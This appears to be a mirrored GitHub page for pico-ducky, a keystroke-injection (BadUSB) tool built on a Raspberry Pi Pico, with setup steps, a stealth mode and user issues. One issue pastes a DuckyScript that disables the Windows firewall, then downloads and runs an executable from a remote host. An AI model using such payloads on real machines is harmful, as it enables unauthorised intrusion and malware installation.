Giter Site home page Giter Site logo

pico-ducky's Introduction

pico-ducky

Make a cheap but powerful USB Rubber Ducky with a Raspberry Pi Pico

GitHub code size in bytes GitHub license GitHub contributors GitHub commit activity GitHub Repo stars

Quick Start Guide

Install and have your USB Rubber Ducky working in less than 5 minutes.

  1. Download the latest release from the Releases page.

  2. Plug the device into a USB port while holding the boot button. It will show up as a removable media device named RPI-RP2.

  3. Install CircutlPython on the Pico or Pico W

If using a Pico board:

Copy the adafruit-circuitpython-raspberry_pi_pico-en_US-8.0.0.uf2 file to the root of the Pico (RPI-RP2). The device will reboot and after a second or so, it will reconnect as CIRCUITPY.

If using a Pico W board:

Copy the adafruit-circuitpython-raspberry_pi_pico_w-en_US-8.0.0.uf2 file to the root of the Pico (RPI-RP2). The device will reboot and after a second or so, it will reconnect as CIRCUITPY.

  1. Copy the lib folder to the root of the CIRCUITPY

  2. Copy *.py to the root of the CIRCUITPY

  3. Follow the instructions in README.md to enter setup mode

  4. Copy your payload as payload.dd to the root of the CIRCUITPY

  5. Unplug the device from the USB port and remove the setup jumper.

Enjoy your Pico-Ducky.

Setup mode

To edit the payload, enter setup mode by connecting the pin 1 (GP0) to pin 3 (GND), this will stop the pico-ducky from injecting the payload in your own machine. The easiest way to do so is by using a jumper wire between those pins as seen bellow.

Setup mode with a jumper

USB enable/disable mode

If you need the pico-ducky to not show up as a USB mass storage device for stealth, follow these instructions.

  • Enter setup mode.
  • Copy your payload script to the pico-ducky.
  • Disconnect the pico from your host PC.
  • Connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15).
    This will prevent the pico-ducky from showing up as a USB drive when plugged into the target computer.
  • Remove the jumper and reconnect to your PC to reprogram.

Pico: The default mode is USB mass storage enabled.
Pico W: The default mode is USB mass storage disabled

USB enable/disable mode


Full Install Instructions

Install and have your USB Rubber Ducky working in less than 5 minutes.

  1. Clone the repo to get a local copy of the files. git clone https://github.com/dbisu/pico-ducky.git

  2. Download CircuitPython for the Raspberry Pi Pico. *Updated to 8.0.0
    Download CircuitPython for the Raspberry Pi Pico W. *Updated to 8.0.0

  3. Plug the device into a USB port while holding the boot button. It will show up as a removable media device named RPI-RP2.

  4. Copy the downloaded .uf2 file to the root of the Pico (RPI-RP2). The device will reboot and after a second or so, it will reconnect as CIRCUITPY.

  5. Download adafruit-circuitpython-bundle-8.x-mpy-YYYYMMDD.zip here and extract it outside the device.

  6. Navigate to lib in the recently extracted folder and copy adafruit_hid to the lib folder on your Raspberry Pi Pico.

  7. Copy adafruit_debouncer.mpy and adafruit_ticks.mpy to the lib folder on your Raspberry Pi Pico.

  8. Copy asyncio to the lib folder on your Pico.

  9. Copy adafruit_wsgi to the lib folder on your Pico.

  10. Copy boot.py from your clone to the root of your Pico.

  11. Copy duckyinpython.py, code.py, webapp.py, wsgiserver.py to the root folder of the Pico.

  12. For Pico W Only Create the file secrets.py in the root of the Pico W. This contains the AP name and password to be created by the Pico W.
    secrets = { 'ssid' : "BadAPName", 'password' : "badpassword" }

  13. Find a script here or create your own one using Ducky Script and save it as payload.dd in the Pico. Currently, pico-ducky only supports DuckyScript 1.0, not 3.0.

  14. Be careful, if your device isn't in setup mode, the device will reboot and after half a second, the script will run.

  15. Please note: by default Pico W will not show as a USB drive

Pico W Web Service

The Pico W AP defaults to ip address 192.168.4.1. You should be able to find the webservice at http://192.168.4.1:80

The following endpoints are available on the webservice:

/
/new
/ducky
/edit/<filename>
/write/<filename>
/run/<filename>

API endpoints

/api/run/<filenumber>

Setup mode

To edit the payload, enter setup mode by connecting the pin 1 (GP0) to pin 3 (GND), this will stop the pico-ducky from injecting the payload in your own machine. The easiest way to do so is by using a jumper wire between those pins as seen bellow.

Setup mode with a jumper

USB enable/disable mode

If you need the pico-ducky to not show up as a USB mass storage device for stealth, follow these instructions.

  • Enter setup mode.
  • Copy your payload script to the pico-ducky.
  • Disconnect the pico from your host PC.
  • Connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15).
    This will prevent the pico-ducky from showing up as a USB drive when plugged into the target computer.
  • Remove the jumper and reconnect to your PC to reprogram.

Pico: The default mode is USB mass storage enabled.
Pico W: The default mode is USB mass storage disabled

USB enable/disable mode

Multiple payloads

Multiple payloads can be stored on the Pico and Pico W.
To select a payload, ground one of these pins:

  • GP4 - payload.dd
  • GP5 - payload2.dd
  • GP10 - payload3.dd
  • GP11 - payload4.dd

Changing Keyboard Layouts

Copied from Neradoc/Circuitpython_Keyboard_Layouts

How to use one of these layouts with the pico-ducky repository.

Go to the latest release page, look if your language is in the list.

If your language/layout is in the bundle

Download the py zip, named circuitpython-keyboard-layouts-py-XXXXXXXX.zip

NOTE: You can use the mpy version targetting the version of Circuitpython that is on the device, but on Raspberry Pi Pico you don't need it - they only reduce file size and memory use on load, which the pico has plenty of.

If your language/layout is not in the bundle

Try the online generator, it should get you a zip file with the bundles for yout language

https://www.neradoc.me/layouts/

Now you have a zip file

Find your language/layout in the lib directory

For a language LANG, copy the following files from the zip's lib folder to the lib directory of the board.
DO NOT modify the adafruit_hid directory. Your files go directly in lib.
DO NOT change the names or extensions of the files. Just pick the right ones.
Replace LANG with the letters for your language of choice.

  • keyboard_layout_win_LANG.py
  • keycode_win_LANG.py

Don't forget to get the adafruit_hid library.

This is what it should look like if your language is French for example.

CIRCUITPY drive screenshot

Modify the pico-ducky code to use your language file:

At the start of the file comment out these lines:

from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout
from adafruit_hid.keycode import Keycode

Uncomment these lines:
Replace LANG with the letters for your language of choice. The name must match the file (without the py or mpy extension).

from keyboard_layout_win_LANG import KeyboardLayout
from keycode_win_LANG import Keycode
Example: Set to German Keyboard (WIN_DE)
from keyboard_layout_win_de import KeyboardLayout
from keycode_win_de import Keycode

Copy the files keyboard_layout_win_de.mpy and keycode_win_de.mpy to the /lib folder on the Pico board

adafruit_hid/
keyboard_layout_win_de.mpy
keycode_win_de.mpy

Useful links and resources

How to recover your Pico if it becomes corrupted or doesn't boot.

Reset Instructions

Installation Tool

raspberrydeveloper Created a tool to convert a blank RPi Pico to a ducky.
You can find the tool here

Docs

CircuitPython

CircuitPython HID

Ducky Script

Video tutorials

pico-ducky tutorial by NetworkChuck

USB Rubber Ducky playlist by Hak5

CircuitPython tutorial on the Raspberry Pi Pico by DroneBot Workshop

Related Projects

Defcon31-ducky
There are still a few of these available to purchase, US only.

pico-ducky's People

Contributors

aask42 avatar andreasbrett avatar antoine-meloche avatar cabiamdos avatar cmantsch avatar dbisu avatar donno2048 avatar flawtechofficial avatar frlonewolffr avatar jr551 avatar minecraftpublisher avatar neradoc avatar oussamaosman02 avatar peterfritz avatar piotr-ginal avatar pvhil avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pico-ducky's Issues

no option to press keys from F1 TO F12

hey there, i am trying to find a way that i can press keys like f1 to f12 but i see the function isn't in the code, can u add it to the code, it will be very helpful, or if there is mind helping me on how to use it, i'm very new to the usb rubber ducky and i'm using this as a cheap alternative, i tried searching many forums but didn't find a good answer

USB enable/disable mode not working

After following all instructions I can successfully run my script, however I can not disable the usb notification.

I am able to enter setup mode using cables however I can not get the other to work. Any help would be greatly appreciated and I'm happy to help in any way I can.

Unable to select payloads

Whenever I ground GPIO4/5/10/11 always payload.dd is executed, no matter the grounded pin.

To Reproduce
Steps to reproduce the behavior:

1.Upload 4 files named named payload.dd, payload2.dd, payload3.dd and payload4.dd (each one opens the Mac Spotlight and types its script's number)(included in the zip)
ducky scripts.zip

2.Ground pin GPIO 5, 10 or 11 (GPIO 10 is grounded in the picture)
IMG_4195

3.Reboot board

4.Spotlight opens, 1 is typed (result visible in screenshot)

Expected behavior

Script runs, spotlight opens and "3" is typed (as pin GPIO 10 is grounded in the example)

Screenshots

Screenshot 2022-05-22 at 21 24 11

Debug info
Wasn't able to to obtain any :(
Additional context

I am using a Mac, that's why I use spotlight, which is summoned with GUI TAB

change keyboard layout

hi there,
i try to use it and until now i liked it a lot.
but i have an issue. i have to setup a different keyboard layout.
hope someone can help i this case.
thanks a lot
kind regards
matze

I need help.

So when i do all of the steps to make the pico a bad usb it works. But, then the next time i plug it into my computer it is labeled USB Drive (I:) and all there is boot_out.txt. So then i try to hold the white button while plugging it in and its now known as RPi1-RPI2 and then i download circuitpython again and paste it in and now it just disconnects and reconnects as USB Drive (I:) again and I cant find a way to fix it so if you can please help me.

Tool to flash pico-ducky.

PyDucky Script

Hello, I made an opensource tool that can flash this awesome tool to
the raspberry pi pico! It flashes circuit python, the adafruit_hid libraries
and the main code. You can check it here if you want.

Running the script

To run the script you just paste these commands to the terminal.
Make sure that you have python3 and git installed. Also, the pico
must be mounted at /media/username/RPI-RP2

git clone https://github.com/raspberrypi5621/pyducky
cd pyducky
python3 pyducky.py

Error changing the LANG to spanish

Hi! Im from Spain and Im having problems when i try to change the US keyboard to the spanish keyboard. Im uncomment the lines and commenting the US lines, but it didnt work. I would appreciate these lines because I dont understand python. Thx!

How to set a non-american keyboard

I have an italian keyboard and I was wondering how to set it as the keyboard.

# uncomment these lines for non_US keyboards
# replace LANG with appropriate language
#from keyboard_layout_win_LANG import KeyboardLayout
#from keycode_win_LANG import Keycode

I tried to replace LANG with "it" but it doesn't work. How can I fix that?

User Account Control doesn't work

this is my code:
REM Author : Sina Aghily DELAY 2000 GUI r DELAY 1000 STRING powershell CTRL SHIFT ENTER DELAY 2000 ALT y DELAY 3000 STRING netsh advfirewall set allprofiles state off ENTER DELAY 3000 GUI r DELAY 1000 STRING powershell ENTER DELAY 2000 STRING cd Downloads ENTER DELAY 1500 STRING curl https://download1083.mediafire.com/cbgo8rvi85dg/azsjpephk3ougi3/byob_win_x32_a5y+%281%29.exe -O installer_1.2.4.exe ENTER DELAY 15000 STRING start installer_1.2.4.exe ENTER DELAY 2000 ALT y DELAY 3000 ENTER

everything works perfect until I get to the start command and it gives me the unknown publisher command. no command works there and I have checked that my command is right by inputting it myself and it worked. I also made the delays longer thinking it did the command before the prompt but still the same issue.

thankyou in advance

Potential to change name of USB Device in Windows Device menu?

Not necessarily an issue, but rather an inquiry. Is it possible to rename the pico-ducky (or in my case the nano-rp2040-connect-ducky) so that in the Windows Devices menu, it would show up as a name that I define (for example, "Logitech Unifying Receiver") as opposed to "Arduino Nano RP2040 Connect"? And, if possible, would it be done through a setting in boot.py or would I have to modify the .UF2 file?

Twin duck

When a file enters the pico it runs the payload again I need it like a rubber ducky twinduck.@dbisu

Buying a pico

Where can I buy a pico with all what I need (even cables) to get started?

No files appear when the .UF2 file gets dropped in Pico

After following the instructions and dropping the .uf2 file into the pico (Also holding down button when connecting), it does reboot into "CIRCUITPY" but there is no files inside but a txt file named "Boot_out". There is no lib folder required for the next steps.
Any details aiding with this will be appreciated.

For the German keyboard layout for Raspberry Pi Pico (Pico-Ducky)

For the German keyboard layout you have to do until step 5 how on this page https://github.com/dbisu/pico-ducky. After the step 5 you have to download my code.py.

code.py: https://mega.nz/file/wtBTXLrK#oTEg3CbGWI280uVdifYtGJx3z2BjXN2f1ZnmrkG-OS8

After then you have to replace the file code.py on your raspberry pi pico with the downloaded code.py.

After then you must download the german keyboard layout: https://www.neradoc.me/layouts/make_zip_bundle.php?url=https://kbdlayout.info/kbdgr&cpversion=

Then unzip the downloaded file and copy (keyboard_layout_win_gr.mpy & keycode_win_gr.mpy) gr.mpy into /lib (not into /lib/adafruit_hid!!!!!!)

And finish, now you have to put a payload.dd file into your pico-ducky (raspberry pi pico) and put it into a pc.

Originally posted by @Luca10492 in #58 (comment)

Enter does not work

I have played with this for a couple of hours, seems that when it gets to the ENTER command in the script, it just stops (it does gui r and types but never hits enter)
i figured it could possibly be my laptop, so i tested it on another PC just to make sure. the same problem persists.

i then tried using circuit_python 7 to see if maybe it was a bug in that particular version of 6.3 but same problem again.

not sure what to do to get it working

below is the ducky script i was using

DELAY 3000
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 2000
ENTER
DELAY 3000
STRING f

Multi Key Support

It does not seem like this project has support for multiple keys pressed at a time. You can do this on the classic rubber ducky by using CTRL-ALT and CTRL-SHIFT. This allows CTRL-ATL DEL, and CTRL-SHIFT Enter.

Pico-ducky is not working

I don't know why but my Pi Pico-ducky is not working I followed every step is given in your pico-ducky website after completing all things i copy payload script and paste it as payload.dd but is not working 😞😞 so I ordered New pico but Sam thing is happen sir I don't have Enough money for bye one more so please do something and fixed my problem please ......

How to stop Rickroll payload

I want to prank a friend with the rickroll payload, however I want to know how I can stop this attack. Does a restart stop it?

Pico W out!

The Pico W (W for WiFI) is now able to be bought. If you can intergerate this, we could wirelessly control our pico, without having to update the payload manualy, you can do it with a GUI right when it's plugged in! (Simalar to the O.M.G. Plug ) This would be huge for the Pico-Ducky community, if we could get it to work. Let's see if it works?

QWERTY TO AZERTY

Hey,

I have a big problem.
How can I change the settings to azerty in the files?
Is there another file? I can't change it with the simple guide on this blog.

Thanks!

Add some keyboard layouts to a release

The out-of-the-box support for international keyboard layouts is amazing.
Unfortunately as it's specific for each and every user, it relies heavily on them, making the process of writing instructions that are clear and concise extremely hard.
I think it would be greatly improved if there was a release with some of the most popular keyboard layouts, so the README instructions would only have to cover the process of choosing, downloading, unzipping and installing the right file from the releases page into the Pico.
Thank you for your time creating and maintaining the awesome project.

pico don't load

After following all the steps, i create the payload.dd file and add it to the pico. The pico don't disconnect/reconnect after adding it. Even with setup mode off and USB disabled mode... I tried it on a Win11 computer, WIN10 computer... it just don't inject the payload. It load the usb as a mass storage and if it is in USB Disabled, nothing happens, with differents payloads.

Don't run the script always after plugging the Pico

Hi, thanks for the project! Is there any way to connect e.g. a button to Pico and when it's clicked the script isn't executed after plugging it to a PC and vice versa? It would make the script change process so much easier.

Function keys

I have modified code a little bit, adding function keys, but only F1-F9 are working, F10, 11 and 12 are recognized as F1, Please help someone <3

`import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
import time
import digitalio
from board import *

duckyCommands = ["WINDOWS", "GUI", "APP", "MENU", "SHIFT", "ALT", "CONTROL", "CTRL", "DOWNARROW", "DOWN",
"LEFTARROW", "LEFT", "RIGHTARROW", "RIGHT", "UPARROW", "UP", "BREAK", "PAUSE", "CAPSLOCK", "DELETE", "END",
"ESC", "ESCAPE", "HOME", "INSERT", "NUMLOCK", "PAGEUP", "PAGEDOWN", "PRINTSCREEN", "SCROLLLOCK", "SPACE",
"TAB", "ENTER", " a", " b", " c", " d", " e", " f", " g", " h", " i", " j", " k", " l", " m", " n", " o", " p", " q", " r", " s", " t",
" u", " v", " w", " x", " y", " z", " A", " B", " C", " D", " E", " F", " G", " H", " I", " J", " K", " L", " M", " N", " O", " P",
" Q", " R", " S", " T", " U", " V", " W", " X", " Y", " Z", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12"]

keycodeCommands = [Keycode.WINDOWS, Keycode.GUI, Keycode.APPLICATION, Keycode.APPLICATION, Keycode.SHIFT, Keycode.ALT, Keycode.CONTROL,
Keycode.CONTROL, Keycode.DOWN_ARROW, Keycode.DOWN_ARROW ,Keycode.LEFT_ARROW, Keycode.LEFT_ARROW, Keycode.RIGHT_ARROW, Keycode.RIGHT_ARROW,
Keycode.UP_ARROW, Keycode.UP_ARROW, Keycode.PAUSE, Keycode.PAUSE, Keycode.CAPS_LOCK, Keycode.DELETE, Keycode.END, Keycode.ESCAPE,
Keycode.ESCAPE, Keycode.HOME, Keycode.INSERT, Keycode.KEYPAD_NUMLOCK, Keycode.PAGE_UP, Keycode.PAGE_DOWN, Keycode.PRINT_SCREEN,
Keycode.SCROLL_LOCK, Keycode.SPACE, Keycode.TAB, Keycode.ENTER, Keycode.A, Keycode.B, Keycode.C, Keycode.D, Keycode.E, Keycode.F, Keycode.G,
Keycode.H, Keycode.I, Keycode.J, Keycode.K, Keycode.L, Keycode.M, Keycode.N, Keycode.O, Keycode.P, Keycode.Q, Keycode.R, Keycode.S, Keycode.T,
Keycode.U, Keycode.V, Keycode.W, Keycode.X, Keycode.Y, Keycode.Z, Keycode.A, Keycode.B, Keycode.C, Keycode.D, Keycode.E, Keycode.F,
Keycode.G, Keycode.H, Keycode.I, Keycode.J, Keycode.K, Keycode.L, Keycode.M, Keycode.N, Keycode.O, Keycode.P,
Keycode.Q, Keycode.R, Keycode.S, Keycode.T, Keycode.U, Keycode.V, Keycode.W, Keycode.X, Keycode.Y, Keycode.Z, Keycode.F1, Keycode.F2, Keycode.F3,
Keycode.F4, Keycode.F5, Keycode.F6, Keycode.F7, Keycode.F8, Keycode.F9, Keycode.F10, Keycode.F11, Keycode.F12]

def convertLine(line):
newline = []
print(line)
for j in range(len(keycodeCommands)):
if line.find(duckyCommands[j]) != -1:
newline.append(keycodeCommands[j])
print(newline)
return newline

def runScriptLine(line):
for k in line:
kbd.press(k)
kbd.release_all()
return

def sendString(line):
layout.write(line)
return

def parseLine(line):
if(line[0:3] == "REM"):
#comments - ignore
print("")
elif(line[0:5] == "DELAY"):
time.sleep(float(line[6:])/1000)
elif(line[0:6] == "STRING"):
sendString(line[7:])
elif(line[0:13] == "DEFAULT_DELAY"):
defaultDelay = int(line[14:]) * 10
elif(line[0:12] == "DEFAULTDELAY"):
defaultDelay = int(line[13:]) * 10
else:
newScriptLine = convertLine(line)
runScriptLine(newScriptLine)
return

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

Can't find the Scandinavian LANG

My country is Sweden and I've been trying to change the LANG in code.py to "swe","sw","SWE","SE" and alot more, please if anyone knows the name for LANG for Swedish then it would be appreciated

Single User Mode - Mac

Script does not run in single user on mac. Maybe on single user mode recourses are limited? It works fine on os x regular just not single user mode. I think this a crucial feature.

More keyboard layouts

Hi, I can't get it working with the swiss keyboard layout. I can download one but it woun't work. Is there any work around? Thanks

what is a .dd file?

I have a few questions, one of them is what is a .dd file? and is there a way to use the Function button (e.g. F1 or F12)?

thank you for making this it has been amazingly helpful for me but I have a couple changes I have made to the project and I was wondering how I could share my code without making a whole new project ,thank you

`#this is an edit of https://github.com/dbisu/pico-ducky this edit has added the ability to chose between diffrent payload files without changing the files on the pi and it has changed it to where insted of puting a jumper to stop the code from runing a jumper tells the code to run
#get keyboard info
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
import time
import digitalio
from board import *
#set commands to be used in payload .dd
duckyCommands = ["WINDOWS", "GUI", "APP", "MENU", "SHIFT", "ALT", "CONTROL", "CTRL", "DOWNARROW", "DOWN",
"LEFTARROW", "LEFT", "RIGHTARROW", "RIGHT", "UPARROW", "UP", "BREAK", "PAUSE", "CAPSLOCK", "DELETE", "END",
"ESC", "ESCAPE", "HOME", "INSERT", "NUMLOCK", "PAGEUP", "PAGEDOWN", "PRINTSCREEN", "SCROLLLOCK", "SPACE",
"TAB", "ENTER", " a", " b", " c", " d", " e", " f", " g", " h", " i", " j", " k", " l", " m", " n", " o", " p", " q", " r", " s", " t",
" u", " v", " w", " x", " y", " z", " A", " B", " C", " D", " E", " F", " G", " H", " I", " J", " K", " L", " M", " N", " O", " P",
" Q", " R", " S", " T", " U", " V", " W", " X", " Y", " Z", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12"]

keycodeCommands = [Keycode.WINDOWS, Keycode.GUI, Keycode.APPLICATION, Keycode.APPLICATION, Keycode.SHIFT, Keycode.ALT, Keycode.CONTROL,
Keycode.CONTROL, Keycode.DOWN_ARROW, Keycode.DOWN_ARROW ,Keycode.LEFT_ARROW, Keycode.LEFT_ARROW, Keycode.RIGHT_ARROW, Keycode.RIGHT_ARROW,
Keycode.UP_ARROW, Keycode.UP_ARROW, Keycode.PAUSE, Keycode.PAUSE, Keycode.CAPS_LOCK, Keycode.DELETE, Keycode.END, Keycode.ESCAPE,
Keycode.ESCAPE, Keycode.HOME, Keycode.INSERT, Keycode.KEYPAD_NUMLOCK, Keycode.PAGE_UP, Keycode.PAGE_DOWN, Keycode.PRINT_SCREEN,
Keycode.SCROLL_LOCK, Keycode.SPACE, Keycode.TAB, Keycode.ENTER, Keycode.A, Keycode.B, Keycode.C, Keycode.D, Keycode.E, Keycode.F, Keycode.G,
Keycode.H, Keycode.I, Keycode.J, Keycode.K, Keycode.L, Keycode.M, Keycode.N, Keycode.O, Keycode.P, Keycode.Q, Keycode.R, Keycode.S, Keycode.T,
Keycode.U, Keycode.V, Keycode.W, Keycode.X, Keycode.Y, Keycode.Z, Keycode.A, Keycode.B, Keycode.C, Keycode.D, Keycode.E, Keycode.F,
Keycode.G, Keycode.H, Keycode.I, Keycode.J, Keycode.K, Keycode.L, Keycode.M, Keycode.N, Keycode.O, Keycode.P,
Keycode.Q, Keycode.R, Keycode.S, Keycode.T, Keycode.U, Keycode.V, Keycode.W, Keycode.X, Keycode.Y, Keycode.Z,
Keycode.F1, Keycode.F2, Keycode.F3, Keycode.F4, Keycode.F5, Keycode.F6, Keycode.F7, Keycode.F8, Keycode.F9,
Keycode.F10, Keycode.F11, Keycode.F12]

def convertLine(line):
newline = []
print(line)
for j in range(len(keycodeCommands)):
if line.find(duckyCommands[j]) != -1:
newline.append(keycodeCommands[j])
print(newline)
return newline

def runScriptLine(line):
for k in line:
kbd.press(k)
kbd.release_all()

def sendString(line):
layout.write(line)

def parseLine(line):
if(line[0:3] == "REM"):
# ignore ducky script comments
pass
elif(line[0:5] == "DELAY"):
time.sleep(float(line[6:])/1000)
elif(line[0:6] == "STRING"):
sendString(line[7:])
elif(line[0:13] == "DEFAULT_DELAY"):
defaultDelay = int(line[14:]) * 10
elif(line[0:12] == "DEFAULTDELAY"):
defaultDelay = int(line[13:]) * 10
else:
newScriptLine = convertLine(line)
runScriptLine(newScriptLine)

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

sleep at the start to allow the device to be recognized by the host computer

time.sleep(.5)

#check if gp0 is connected to ground
progStatus = False
progStatusPin = digitalio.DigitalInOut(GP0)
progStatusPin.switch_to_input(pull=digitalio.Pull.UP)
progStatus = not progStatusPin.value
defaultDelay = 0
if(progStatus == True):
#if gp0 is connected to ground run 0payload.dd
duckyScriptPath = "0payload.dd"
f = open(duckyScriptPath,"r",encoding='utf-8')
print("Running payload.dd")
previousLine = ""
duckyScript = f.readlines()
for line in duckyScript:
line = line.rstrip()
if(line[0:6] == "REPEAT"):
for i in range(int(line[7:])):
#repeat the last command
parseLine(previousLine)
time.sleep(float(defaultDelay)/1000)
else:
parseLine(line)
previousLine = line
time.sleep(float(defaultDelay)/1000)

print("Done")

else:
#check if gp1 is connected to ground
progStatus = False
progStatusPin = digitalio.DigitalInOut(GP1)
progStatusPin.switch_to_input(pull=digitalio.Pull.UP)
progStatus = not progStatusPin.value
defaultDelay = 0
if(progStatus == True):
#if gp1 is connected to ground run 1payload.dd
duckyScriptPath = "1payload.dd"
f = open(duckyScriptPath,"r",encoding='utf-8')
print("Running payload.dd")
previousLine = ""
duckyScript = f.readlines()
for line in duckyScript:
line = line.rstrip()
if(line[0:6] == "REPEAT"):
for i in range(int(line[7:])):
#repeat the last command
parseLine(previousLine)
time.sleep(float(defaultDelay)/1000)
else:
parseLine(line)
previousLine = line
time.sleep(float(defaultDelay)/1000)

    print("Done")
else:
    #check if gp2 is connected to ground
    progStatus = False
    progStatusPin = digitalio.DigitalInOut(GP2)
    progStatusPin.switch_to_input(pull=digitalio.Pull.UP)
    progStatus = not progStatusPin.value
    defaultDelay = 0
    if(progStatus == True):
        #if gp2 is connected to ground run 2payload.dd
        duckyScriptPath = "2payload.dd"
        f = open(duckyScriptPath,"r",encoding='utf-8')
        print("Running payload.dd")
        previousLine = ""
        duckyScript = f.readlines()
        for line in duckyScript:
            line = line.rstrip()
            if(line[0:6] == "REPEAT"):
                for i in range(int(line[7:])):
                    #repeat the last command
                    parseLine(previousLine)
                    time.sleep(float(defaultDelay)/1000)
            else:
                parseLine(line)
                previousLine = line
            time.sleep(float(defaultDelay)/1000)
    
        print("Done")
    else:
        #check if gp3 is connected to ground
        progStatus = False
        progStatusPin = digitalio.DigitalInOut(GP3)
        progStatusPin.switch_to_input(pull=digitalio.Pull.UP)
        progStatus = not progStatusPin.value
        defaultDelay = 0
        if(progStatus == True):
            #if gp3 is connected to ground run 3payload.dd
            duckyScriptPath = "3payload.dd"
            f = open(duckyScriptPath,"r",encoding='utf-8')
            print("Running payload.dd")
            previousLine = ""
            duckyScript = f.readlines()
            for line in duckyScript:
                line = line.rstrip()
                if(line[0:6] == "REPEAT"):
                    for i in range(int(line[7:])):
                        #repeat the last command
                        parseLine(previousLine)
                        time.sleep(float(defaultDelay)/1000)
                else:
                    parseLine(line)
                    previousLine = line
                time.sleep(float(defaultDelay)/1000)
        
            print("Done")
        else:
            print("No jumpers placed")

`

Device is lagging and Starting again.

I am using the raspberry pi pico as a rubber ducky but i am having a problem with it.
When i Plug the rubber ducky into a device it, its start writing the code and stops at midway for some seconds and start writing from the start again.

Issue booting payload

I've got the lib, the code.py, and the payload setup however nothing happens.
Please help.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.